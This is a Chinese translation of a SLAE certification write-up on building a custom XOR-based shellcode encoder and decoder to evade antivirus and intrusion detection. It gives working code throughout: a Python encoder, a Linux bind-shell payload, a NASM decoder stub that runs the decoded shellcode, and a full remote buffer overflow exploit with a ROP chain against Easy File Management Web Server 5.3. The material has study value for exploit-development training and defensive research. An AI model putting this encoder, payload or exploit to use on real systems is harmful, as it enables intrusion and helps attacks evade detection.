【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器
2017-08-24 14:04:21
阅读:447次
点赞(0)
收藏
来源: rcesecurity.com
作者:興趣使然的小胃
译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
在渗透测试过程中,反病毒软件(AV)以及入侵检测系统(IDS)是非常令人讨厌的存在。这些东西通常是导致攻击载荷失效、系统锁定或者渗透测试人员脾气爆炸的罪魁祸首。本文介绍了绕过AV以及IDS的一种简单方法,我们可以利用这种方法绕过基于模式匹配的安全软件或者硬件。这并不是一种面面俱到的解决方法,并非为绕过强大的启发式系统而设计,但可以作为一个非常好的研究起点,我们可以进一步改进相应的编码及混淆技术。
这篇文章主要涉及到我在SecurityTube linux汇编专家认证系列任务中用到的shellcode编码器及解码器相关技术。
二、随机字节插入异或编码方案
随机字节插入异或编码(Random-Byte-Insertion-XOR Encoding,RBIX编码)方案本身是非常简单的一种方案。主要思想是将某个随机字节作为异或(XOR)操作的基础值,以上一个操作的结果为基础,继续处理下一个异或操作。第3个以及第4个字节的处理过程也遵循相同的方式。编码过程的处理流程图如下图所示:
首先(在步骤#1执行之前),编码器将输入的shellcode按3字节长度切分成多个数据块,然后在每个数据块的头部添加一个随机字节(0x01到0xFF之间的一个值),因此这类随机字节在各数据块上各不一样。如果shellcode的大小不是3字节的整数倍,那么我们需要在最后一个数据块中添加NOP填充字节(0x90)。
在第2个步骤中,编码器将第1个字节(即随机的字节)与第2个字节(原始shellcode的首个字节)进行异或,将第2个字节的值替换为异或后的值。第3个步骤接收第1次异或操作的结果,将该结果与第3个字节进行异或,最后一个步骤使用相同的处理过程,将上次异或操作的结果与当前数据块的最后一个字节进行异或。
最终我们可以得到一个看上去完全碎片化的内存数据。
三、python编码器
基于Python的编码器如下所示:
#!/usr/bin/python
#SLAE-Assignment#4:CustomShellcodeEncoder/Decoder
#Author:JulienAhrens(@MrTuxracer)
#Website:
fromrandomimportrandint
#Payload:BindShellSLAE-Assignment#1
shellcode="\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
badchars=["\x00"]
defxorBytes(byteArray):#Randomizefirstbyternd=randint(1,255)
xor1=(rnd^byteArray[0])
xor2=(xor1^byteArray[1])
xor3=(xor2^byteArray[2])
xorArray=bytearray()
xorArray.append(rnd)
xorArray.append(xor1)
xorArray.append(xor2)
xorArray.append(xor3)
returncleanBadChars(byteArray,xorArray,badchars)
defcleanBadChars(origArray,payload,badchars):
forkinbadchars:
#Ooops,BadCharfound:(DoXORstuffagainwithanewrandomvalue
#Thiscouldrunintoaninfiniteloopinsomecases
ifpayload.find(k)>=0:
payload=xorBytes(origArray)
returnpayload
defencodeShellcode(byteArr):
shellcode=bytearray()
shellcode.extend(byteArr)
encoded=bytearray()
tmp=bytearray()
final=""
#Checkwhethershellcodeisaligned
iflen(shellcode)%3==1:
shellcode.append(0x90)
shellcode.append(0x90)
eliflen(shellcode)%3==2:
shellcode.append(0x90)
#Looptosplitshellcodeinto3-byte-blocks
foriinrange(0,len(shellcode),3):
tmp_block=bytearray()
tmp_block.append(shellcode[i])
tmp_block.append(shellcode[i+1])
tmp_block.append(shellcode[i+2])
#DotheRND-InsertionandchainedXORs
tmp=xorBytes(tmp_block)
#SomeformattingthingsforeasieruseinNASM:)
foryintmp:
iflen(str(hex(y)))==3:
final+=str(hex(y)[:2])+"0"+str(hex(y)[2:])+","
else:
final+=hex(y)+","
returnfinal[:-1]
print"EncodedShellcode:\r"
printencodeShellcode(shellcode)
这个脚本可以生成NASM兼容的shellcode,对导致攻击过程失败的某些异常字符也进行了处理。这个脚本用到了我在SLAE #1号任务中使用过的shellcode,其作用只是简单地将shell接口绑定到1337端口上。脚本会生成编码后的shellcode,输出结果如下图所示,其中我们看不到0x00这个字节,因为这个字节处于“字节黑名单”中,已经被妥善处理:
四、Shellcoder解码器
为了将编码后的shellcode恢复到原始的形式(即解码处理过程),我将一个解码器放在经过编码的shellcode的开头部位,这个解码器可以读取并解码内存中的shellcode,然后再执行这个shellcode。简单的解码过程如下图所示:
将不同字节彼此异或处理,并删除附加的字节后,我们可以将shellcode恢复到最初状态。现在我们可以好好分析真正有趣的部分:使用汇编语言来实现解码器。
首先,寄存器的布局信息如下所示:
EAX: 每次异或操作的第一个操作数
EBX: 每次异或操作的第二个操作数
ECX, EDX: 循环计数器
ESI: 指向编码后shellcode的指针
EDI: 指向解码后shellcode的指针
为了处理编码后的shellcode,我们需要一个寄存器(ESI)来指向shellcode的内存地址。我们还需要shellcode的长度值,这个值被后面的一个指针所引用,因此这里我会先跳过这个值的具体信息。为了获取地址信息,我们使用了jmp-call-pop(跳转、调用、弹出)技术:
global_start
section.text
_start:
jmpgetshellcode
decoder:
popesi;pointertoshellcode
pushesi;saveaddressofshellcodeforlaterexecution
movedi,esi;copyaddressofshellcodetoeditoworkwithit
[...]
get_shellcode:
calldecoder
shellcode:db
0x60,0x0a,0x6c,0x34,0xa6,0xcc,0xcd,0x96,0xf9,0xc8,0x3e,0x68,0xa6,0xf5,0x9f,0x9d,0x37,0xbe,0x5f,0x92,0x5d,0xdd,0x82,0x15,0xe4,0x77,0xc7,0xa1,0xdc,0x8a,0xec,0x84,0xe2,0xe7,0xde,0xb8,0x17,0x44,0xcd,0x2c,0x1d,0x77,0x67,0x36,0x18,0x4f,0xc6,0x27,0x55,0x98,0x18,0xa8,0x52,0x34,0x87,0x83,0xdc,0x8a,0xdd,0x54,0xa5,0x44,0x89,0x09,0xa6,0x16,0x70,0x33,0xe6,0xb0,0xe6,0xb1,0xbf,0x36,0xd7,0x1a,0x5b,0xdb,0x82,0xdb,0xea,0x5b,0x59,0xca,0x23,0x93,0xac,0x61,0x0d,0x8d,0xc4,0xbd,0xed,0x14,0xa4,0xaf,0xe0,0x88,0xa7,0x88,0x25,0x56,0x3e,0x56,0x63,0x4c,0x2e,0x47,0x5c,0x32,0xbb,0x58,0xc3,0x82,0x0b,0xc1,0xff,0x32,0xb2,0x22
len:equ$-shellcode
在POP及MOV指令后,ESI寄存器以及EDI寄存器指向编码后的shellcode,此外相应的指针也会被PUSH到栈上,以便在最后一个步骤执行shellcode。
现在,我们需要清理某些寄存器。但要记住的是,我们正在处理的是EAX以及EBX的低字节部分(即AL以及BL),因此我们不需要完全清除这些寄存器,这样可以省下一些字节:
xorecx,ecx;clearinnerloop-counter
xoredx,edx;clearouterloop-counter
接下来是真正的解码函数。异或操作基于AL以及BL,因为我们每次只异或处理1个字节。编码后的shellocde的首个字节(ESI)会被MOV到AL中,下一个字节(ESI+1)会作为第二个XOR操作数被放到BL中。
moval,[esi];getfirstbytefromtheencodedshellcode
movbl,[esi+1];getsecondbytefromtheencodedshellcode
当AL以及BL设置完毕后,它们就可以被异或处理,生成的字节存放在AL中,会被MOV到EDI中。由于EDI指向的是编码后的shellcode的地址,因此实际上我们正在做的是将编码后的shellcode替换为解码后的shellcode,这样就能省下许多内存空间。
xoral,bl;xorthem(resultissavedtoeax)
mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode
当这个内存写入操作完成之后,相应的计数器以及指针的值会得到更新,为下一个数据块的异或处理做好准备。
incedi;movedecoded-pointer1byteonward
incesi;moveencoded-pointer1byteonwardincecx;
incrementinnerloop-counter
由于编码器将shellcode按3字节大小进行切割,并在开头部位添加一个随机的字节,最终生成4字节大小的数据块,因此解码器需要做相同的操作:将经过编码的shellcode按4字节进行切割。我们可以在ECX寄存器上使用CMP-JNE循环,通过一组异或指令完成这个任务:
l0:
moval,[esi];getfirstbytefromtheencodedshellcode
movbl,[esi+1];getsecondbytefromtheencodedshellcode
xoral,bl;xorthem(resultissavedtoeax)
mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode
incedi;movedecoded-pointer1byteonward
incesi;moveencoded-pointer1byteonward
incecx;incrementinnerloop-counter
cmpcl,0x3;dealingwith4byte-blocks!
jnel0
上述代码中,如果CL等于3(表明已经执行了3条异或操作),解码器可以再次增加ESI的值,然后接收下一个4字节大小的数据块。这意味着解码器“跳过”了上一个数据块的最后一个字节,因为解码器需要再次从随机的字节开始处理。我们还需要将EDX外部循环计数器加上0x4,以确保解码器能在合适的位置访问编码后的shellcode的尾部地址,而不会导致SISEGV错误:
incesi;moveencoded-pointer1byteonward
xorecx,ecx;clearinnerloop-counter
adddx,0x4;moveouterloop-counter4bytesonward
cmpdx,len;checkwhethertheendoftheshellcodeisreached
jnel0
这两个循环都是用来遍历处理编码后的shellcode的4字节数据块,在同一个内存位置实时生成解码后的shellcode。大家是否还记得第一条PUSH指令?这条指令用来完成解码器的最后操作,调用解码后的shellcode:
call[esp];executedecodedshellcode
因此,完整版的汇编语言开发的解码器如下所示:
;SLAE-Assignment#4:CustomShellcodeEncoder/Decoder(Linux/x86)
;Author:JulienAhrens(@MrTuxracer)
;Website:http://www.rcesecurity.com
global_start
section.text
_start:
jmpgetshellcode
decoder:
popesi;pointertoshellcode
pushesi;saveaddressofshellcodeforlaterexecution
movedi,esi;copyaddressofshellcodetoeditoworkwithit
xoreax,eax;clearfirstXOR-operandregister
xorebx,ebx;clearsecondXOR-operandregister
xorecx,ecx;clearinnerloop-counter
xoredx,edx;clearouterloop-counter
loop0:
moval,[esi];getfirstbytefromtheencodedshellcode
movbl,[esi+1];getsecondbytefromtheencodedshellcode
xoral,bl;xorthem(resultissavedtoeax)
mov[edi],al;save(decode)tothesamememorylocationastheencodedshellcode
incedi;movedecoded-pointer1byteonward
incesi;moveencoded-pointer1byteonward
incecx;incrementinnerloop-counter
cmpcl,0x3;dealingwith4byte-blocks!
jneloop0
incesi;moveencoded-pointer1byteonward
xorecx,ecx;clearinnerloop-counter
adddx,0x4;moveouterloop-counter4bytesonward
cmpdx,len;checkwhethertheendoftheshellcodeisreached
jneloop0
call[esp];executedecodedshellcode
get_shellcode:
calldecodershellcode:db
0x60,0x0a,0x6c,0x34,0xa6,0xcc,0xcd,0x96,0xf9,0xc8,0x3e,0x68,0xa6,0xf5,0x9f,0x9d,0x37,0xbe,0x5f,0x92,0x5d,0xdd,0x82,0x15,0xe4,0x77,0xc7,0xa1,0xdc,0x8a,0xec,0x84,0xe2,0xe7,0xde,0xb8,0x17,0x44,0xcd,0x2c,0x1d,0x77,0x67,0x36,0x18,0x4f,0xc6,0x27,0x55,0x98,0x18,0xa8,0x52,0x34,0x87,0x83,0xdc,0x8a,0xdd,0x54,0xa5,0x44,0x89,0x09,0xa6,0x16,0x70,0x33,0xe6,0xb0,0xe6,0xb1,0xbf,0x36,0xd7,0x1a,0x5b,0xdb,0x82,0xdb,0xea,0x5b,0x59,0xca,0x23,0x93,0xac,0x61,0x0d,0x8d,0xc4,0xbd,0xed,0x14,0xa4,0xaf,0xe0,0x88,0xa7,0x88,0x25,0x56,0x3e,0x56,0x63,0x4c,0x2e,0x47,0x5c,0x32,0xbb,0x58,0xc3,0x82,0x0b,0xc1,0xff,0x32,0xb2,0x22
len:equ$-shellcode
接下来我们可以给出一些演示案例。
五、在Linux上执行Shellcode
大家可以从我的Github仓库上下载脚本,完成obj导出以及编译过程:
你可以使用GDB来确认解码器是否正常工作。在解码过程的初始阶段,ESI指向的是编码后的shellcode:
![【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器]()
在shellcode的尾部,我们可以发现调用shellcode的实际上是“call [esp]”指令,这段shellcode的解码过程准确无误:
因此,最后shellcode的执行过程也非常成功:
我们的成果已经得到证实。此时此刻,你可能已经注意到编码过程会将编码后的shellcode的大小增大将近一倍,当shellcode可存放的空间大小捉襟见肘时,你可能需要重点关注这个情况。
六、在现实世界中实现Shellcode的跨平台执行
上述演示过程非常顺利,因为整个过程完全运行在一个可控的环境中。现在,我们可以在现实的攻击场景中使用这个解码器。你可能对我之前做过的工作有所了解(可以参考Easy File Management Webserver的攻击过程),当时我使用了一个自定义的ROP利用工具来弹出一个calc.exe窗口。现在我们可以修改这个工具,以演示我们自定义的编码器以及解码器。
首先,我们需要一段“纯净版”的shellcode代码。非常幸运的是,msfvenom可以满足我们的需求:
msfvenom-p
windows/execCMD=calc.exe-fpython-egeneric/none
从输出中我们可以看到文本形式的shellcode:
如果你在攻击工具中直接使用这段shellcode,那么它会导致整个攻击行动失败,因为这段代码中有大量不可用的字符(如0x00)。首先我们可以对这段shellcode进行编码,但我们需要确保所有不可用字符都经过处理,对于这段代码而言,这些字符为:0x00, 0x0a, 0x0b and 0x3b。
#!/usr/bin/python
#SLAE-Assignment#4:CustomShellcodeEncoder/Decoder
#Author:JulienAhrens(@MrTuxracer)
#Website:http://www.rcesecurity.com
fromrandomimportrandint
#poweredbyMetasploit
#windows/execCMD=calc.exe
#msfvenom-pwindows/execCMD=calc.exe-fpython-egeneric/none
#Encoder:Custom
shellcode="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode+="\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode+="\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode+="\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode+="\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode+="\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode+="\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode+="\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode+="\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode+="\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode+="\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode+="\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode+="\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode+="\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode+="\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
badchars=["\x00","\x0a","\x0d","\x3b"]
defxorBytes(byteArray):
#Randomizefirstbyte
rnd=randint(1,255)
xor1=(rnd^byteArray[0])
xor2=(xor1^byteArray[1])
xor3=(xor2^byteArray[2])
xorArray=bytearray()
xorArray.append(rnd)
xorArray.append(xor1)
xorArray.append(xor2)
xorArray.append(xor3)
returncleanBadChars(byteArray,xorArray,badchars)
defcleanBadChars(origArray,payload,badchars):
forkinbadchars:
#Ooops,BadCharfound:(DoXORstuffagainwithanewrandomvalue
#Thiscouldrunintoaninfiniteloopinsomecases
ifpayload.find(k)>=0:
payload=xorBytes(origArray)
returnpayload
defencodeShellcode(byteArr):
shellcode=bytearray()
shellcode.extend(byteArr)
encoded=bytearray()
tmp=bytearray()
final=""
#Checkwhethershellcodeisaligned
iflen(shellcode)%3==1:
shellcode.append(0x90)
shellcode.append(0x90)
eliflen(shellcode)%3==2:
shellcode.append(0x90)
#Looptosplitshellcodeinto3-byte-blocks
foriinrange(0,len(shellcode),3):
tmp_block=bytearray()
tmp_block.append(shellcode[i])
tmp_block.append(shellcode[i+1])
tmp_block.append(shellcode[i+2])
#DotheRND-InsertionandchainedXORs
tmp=xorBytes(tmp_block)
#SomeformattingthingsforeasieruseinNASM:)
foryintmp:
iflen(str(hex(y)))==3:
final+=str(hex(y)[:2])+"0"+str(hex(y)[2:])+","
else:
final+=hex(y)+","
returnfinal[:-1]
print"EncodedShellcode:\r"
printencodeShellcode(shellcode)
从我的脚本的输出结果中,我们完全找不到这些不可用字符的踪影:
添加解码器之后,这段代码的大小稍微增加了一些:
现在,这段shellcode已经可以在我的攻击程序中使用了:
#!/usr/bin/python
#ExploitTitle:EasyFileManagementWebServerv5.3-USERIDRemoteBufferOverflow(ROP)
#Version:5.3
#Date:2014-05-31
#Author:JulienAhrens(@MrTuxracer)
#Homepage:http://www.rcesecurity.com
#SoftwareLink:http://www.efssoft.com/
#Testedon:WinXP-GER,Win7x64-GER,Win8-EN,Win8x64-GER
#Creditsforvulnerabilitydiscovery:
#superkojiman(http://www.exploit-db.com/exploits/33453/)
#Howto/Notes:
#ThisscriptsexploitsthebufferoverflowvulnerabilitycausedbyanoversizedUserID-stringas
#discoveredbysuperkojiman.Incomparisontosuperkojiman'sexploit,thisexploitdoesnot
#bruteforcetheaddressoftheoverwrittenstackpart,insteaditusescodefromitsown
#.textsegmenttoachievereliablecodeexecution.
fromstructimportpack
importsocket,sys
importos
host="192.168.0.1"
port=80
junk0="\x90"*80
#Insteadofbruteforcingthestackaddress,let'stakeanaddress
#fromthe.textsegment,whichisneartothestackpivotinstruction:
#0x1001d89b:{pivot604/0x25c}#POPEDI#POPESI#POPEBP#POPEBX#ADDESP,24C#RETN[ImageLoad.dll]
#Thememorylocatedat0x1001D8F0:"\x7A\xD8\x01\x10"doesthejob!
#Duetocalldwordptr[edx+28h]:0x1001D8F0-28h=0x1001D8C8
call_edx=pack('<L',0x1001D8C8)
junk1="\x90"*280
ppr=pack('<L',0x10010101)#POPEBX#POPECX#RETN[ImageLoad.dll]
#Since0x00wouldbreaktheexploit,the0x00457452(JMPESP[fmws.exe])needstobecraftedonthestack
craftedjmpesp=pack('<L',0xA445ABCF)
test_bl=pack('<L',0x10010125)#contains00000000topasstheJNZinstruction
kungfu=pack('<L',0x10022aac)#MOVEAX,EBX#POPESI#POPEBX#RETN[ImageLoad.dll]kungfu+=pack('<L',0xDEADBEEF)#filler
kungfu+=pack('<L',0xDEADBEEF)#filler
kungfu+=pack('<L',0x1001a187)#ADDEAX,5BFFC883#RETN[ImageLoad.dll]#finishcraftingJMPESP
kungfu+=pack('<L',0x1002466d)#PUSHEAX#RETN[ImageLoad.dll]
nopsled="\x90"*20
#windows/execCMD=calc.exe
#Encoder:x86/shikataganai
#poweredbyMetasploit
#msfpayloadwindows/execCMD=calc.exeR|msfencode-b'\x00\x0a\x0d'
shellcode=("\xeb\x2a\x5e\x56\x89\xf7\x31\xc9\x31\xd2\x8a\x06\x8a\x5e\x01\x30\xd8\x88\x07\x47\x46\x41\x80\xf9\x03\x75\xef\x46\x31\xc9\x66\x83\xc2\x04\x66\x81\xfa\x04\x01\x75\xe1\xff\x14\x24\xe8\xd1\xff\xff\xff\xb6\x4a\xa2\x20\xfd\xfd\xfd\xfd\xad\xcd\x44\xa1\xc2\xf3\x33\x57\x6d\xe6\xb6\x86\xff\x74\x26\x2a\x41\xca\x98\x8c\x75\xfe\x8c\xa4\x37\x38\x8f\xc5\x29\x0f\x3e\xc1\x69\xc5\xf9\x98\x5d\x21\x23\x0f\x93\xb3\x72\xbd\x3c\x31\x30\xf7\x8f\x6d\x9f\xcd\x33\x64\xef\xbd\x69\x79\xf2\xb8\x2e\x12\x99\xd5\x89\x98\xe0\x03\x50\x18\x19\xc8\x80\xd1\x5a\x03\x92\xb2\xb3\x60\x04\x8f\xc6\xde\xc4\x27\x1d\x54\xf5\x7e\x4a\xc1\xc7\xc6\x10\x21\x33\xcc\x60\xa1\x20\xef\xe2\xe3\x08\xcf\xf7\x17\x46\x33\xc5\xc6\xc5\xb8\x40\x7b\x4e\x33\x17\x62\xdc\x38\x60\xeb\xaa\xf2\xd6\xd7\x61\xb2\xd4\x5f\xe0\xec\xa7\x2c\x60\x38\x24\x25\x01\xd2\x59\x5d\x4a\xc1\xc0\x10\x7f\xf6\xb2\x96\xab\x8f\xd4\x8f\xe6\x87\xde\x84\x7b\x2a\xd5\x35\xbe\xe1\xbe\xe4\x32\xb9\xab\x40\x95\x18\x45\x2f\xf3\xf2\x7f\xfa\x07\xb5\xb5\xb5\xe3\xe3\xb3\xdb\xfe\xcf\x44\x2b\xca\x4d\xb2\x67\xae\x15\xe5\x50\xea\x48\x1e\x76\xae\x08\x9d\x20\x81\x1c\xe3\x36\x29\x15\x13\x6f\x24\x2e\xae\x55\x55\xb5\xc0\xc5\x66\xdd\x9a\x89\x6b\x19\x76\x1c\x0f\x0f\x5c\xa3\xb3\x66\x05\x64\x40\x2c\x4f\x61\xa4\xc1\xb9\xdc\xc8\xc8\x58\xc8")
payload=junk0+calledx+junk1+ppr+craftedjmpesp+testbl+kungfu+nopsled+shellcode
buf="GET/vfolder.ghpHTTP/1.1\r\n"
buf+="User-Agent:Mozilla/4.0\r\n"
buf+="Host:"+host+":"+str(port)+"\r\n"
buf+="Accept:text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\n"buf+="Accept-Language:en-us\r\n"
buf+="Accept-Encoding:gzip,deflate\r\n"buf+="Referer:http://"+host+"/\r\n"
buf+="Cookie:SESSIONID=1337;UserID="+payload+";PassWD=;\r\n"
buf+="Conection:Keep-Alive\r\n\r\n"
print"[*]ConnectingtoHost"+host+"..."
s=socket.socket(socket.AFINET,socket.SOCKSTREAM)
try:
connect=s.connect((host,port))
print"[*]Connectedto"+host+"!"
except:
print"[!]"+host+"didn'trespond\n"
sys.exit(0)
print"[*]Sendingmalformedrequest..."s.send(buf)
print"[!]Exploithasbeensent!\n"s.close()
你可以使用Immunity Debugger来跟踪shellcode的解码过程。首先,ESI会再次指向编码后的shellcode:
![【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器]()
当“call [esp]”处执行真正的shellcode时,我们可以看到ESP指向的是原始的、解码后的shellcode:
最后,Easy File Management Webserver中会弹出一个calc.exe窗口。
因此,我们顺利完成了另一个SLAE任务!
我之所以写这篇文章,是为了完成SecurityTube Linux汇编专家认证的任务,这个任务链接如下:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
对应的Student ID为SLAE- 497。
![【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器]()
![【技术分享】SLAE:如何开发自定义的RBIX Shellcode编码解码器]()
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder